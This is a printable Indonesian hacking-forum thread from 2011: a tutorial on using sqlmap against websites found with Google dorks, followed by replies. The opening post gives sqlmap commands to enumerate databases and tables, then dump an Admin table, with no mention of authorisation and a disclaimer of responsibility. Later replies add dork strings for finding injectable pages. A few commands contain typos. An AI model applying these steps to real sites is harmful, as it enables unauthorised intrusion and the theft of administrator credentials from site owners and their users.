Indonesian Back|Track Team
SQLi Sqlmap.py - Printable Version

+- Indonesian Back|Track Team (https://www.indonesianbacktrack.or.id/forum)
+-- Forum: Penetration Testing Os (https://www.indonesianbacktrack.or.id/forum/forum-170.html)
+--- Forum: Backtrack (https://www.indonesianbacktrack.or.id/forum/forum-171.html)
+---- Forum: BackTrack 5 (https://www.indonesianbacktrack.or.id/forum/forum-74.html)
+----- Forum: BackTrack 5 tutorial (https://www.indonesianbacktrack.or.id/forum/forum-82.html)
+----- Thread: SQLi Sqlmap.py (/thread-713.html)

Pages: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

SQLi Sqlmap.py - Veronochi - 08-30-2011

ok kawan-kawan sekalian kali ini w akan berbagi tutorial dengan SQLi menggunakan SQLMAP salah tools pentets yang ada di dalam backtrack...

ok langsung aja dari pada lama2..

yang pertama harus di lakukan adalah nyalain laptop/pc lo yang menggunakan backtrack virtual juga boleh...

hihihiihih Tongue

ok serius nie..

1.buka SQL Map kalian dengan cara
Code:
Application - Backtrack - Exploitation - Web Exploitation Tools - SqlMAP

2.cari lah target yang sudah kalian temukan celahnya dengan menggunakan google dork...

3.setelah dapet web yang ada celah silakan pentest..
Code:
python sqlmap.py -u http://site.com/catalog.php?id=129 --dbs
-u = url
--dbs = kita mencari nama databasenya...

4.setalah ketemua nama databasenya..
Code:
python sqlmap.py -u http://site.com/catalog.php?id=129 -D gatotganteng --tables
-D = nama database yang sudah kita temukan tadi
--tables = untuk muka isi table..

5.isi tabel udah keluar dan ada hasilnya ternyata ada table admin kita liat columnsnya...
Code:
python sqlmap.py http://site.com -D gatotganteng -T Admin --columns

Code:
pytho sqlmap.py http://site.com -D gatotganteng -T Admin --dump

kalo udah begini silakan dah..

mau kalian apain tapi yang jelas w kgk tanggung jawab ya..


wkwkwkkwkwkkwk

:ngakak:

udah jangan lupa

:kasihcendol:

wkwkkwkwk

salam veronochi

dan w hanya mau berbagi kepada orang-orang yang mau belajar...


RE: SQLi Sqlmap.py - lau13 - 08-30-2011

ijin cicip om... cendol terkirim ke kamar nt om... Confused

RE: SQLi Sqlmap.py - Veronochi - 08-30-2011

silakan om hanya share aja ...

kalo ilmu kgk di share bakalan ilang tuh ilmu..

hehehheh...

RE: SQLi Sqlmap.py - koecroet - 08-30-2011

mantap om. tp cara untuk mencari tahu celah menggunakan dork bijimana ya Tongue

RE: SQLi Sqlmap.py - Veronochi - 08-30-2011

bijimana???

biji apa om??

heheheh


kalo untuk mengetahui untuk Bugnya Banyak Cara bisa kita cari menggunkan GoogleDork Untuk SQLi
Tools Scanner Online
Kalo kgk gunain Software X-code....

RE: SQLi Sqlmap.py - koecroet - 08-30-2011

(08-30-2011, 04:58 PM)Veronochi Wrote: bijimana???

biji apa om??

heheheh


kalo untuk mengetahui untuk Bugnya Banyak Cara bisa kita cari menggunkan GoogleDork Untuk SQLi
Tools Scanner Online
Kalo kgk gunain Software X-code....

hehe, bagaimana om mksdnya Big Grin
boleh di share lah cara menggukanan GoogleDork Untuk SQLi Tongue
atau menggunakan software x-code Big Grin. btw software nya buat di penguin apa buat di jendela om ?
ane anti jendela Tongue

RE: SQLi Sqlmap.py - Veronochi - 08-30-2011

kalo untuk di pingun bisa menggunakan DarkJumper buatan Mywisdom...
kalo Software X-code biasanya di Gunain di jendela tapi temen ane Pake Di Linux tapi ane kgk tau dia make Wine Versi berapa??

banyak kali om Dork SQLi

contoh:
inurl://index.php?id=
inirl://catagory.php?id=
inurl://.php?id=

dan masih banyak lainnya...

RE: SQLi Sqlmap.py - koecroet - 08-30-2011

(08-30-2011, 05:10 PM)Veronochi Wrote: kalo untuk di pingun bisa menggunakan DarkJumper buatan Mywisdom...
kalo Software X-code biasanya di Gunain di jendela tapi temen ane Pake Di Linux tapi ane kgk tau dia make Wine Versi berapa??

banyak kali om Dork SQLi

contoh:
inurl://index.php?id=
inirl://catagory.php?id=
inurl://.php?id=

dan masih banyak lainnya...

makasih om Big Grin. langsung jajal Tongue

RE: SQLi Sqlmap.py - Veronochi - 08-30-2011

ok silakan aja...



RE: SQLi Sqlmap.py - c0d3HitLER - 08-30-2011

Tutorialnya lumayan Smile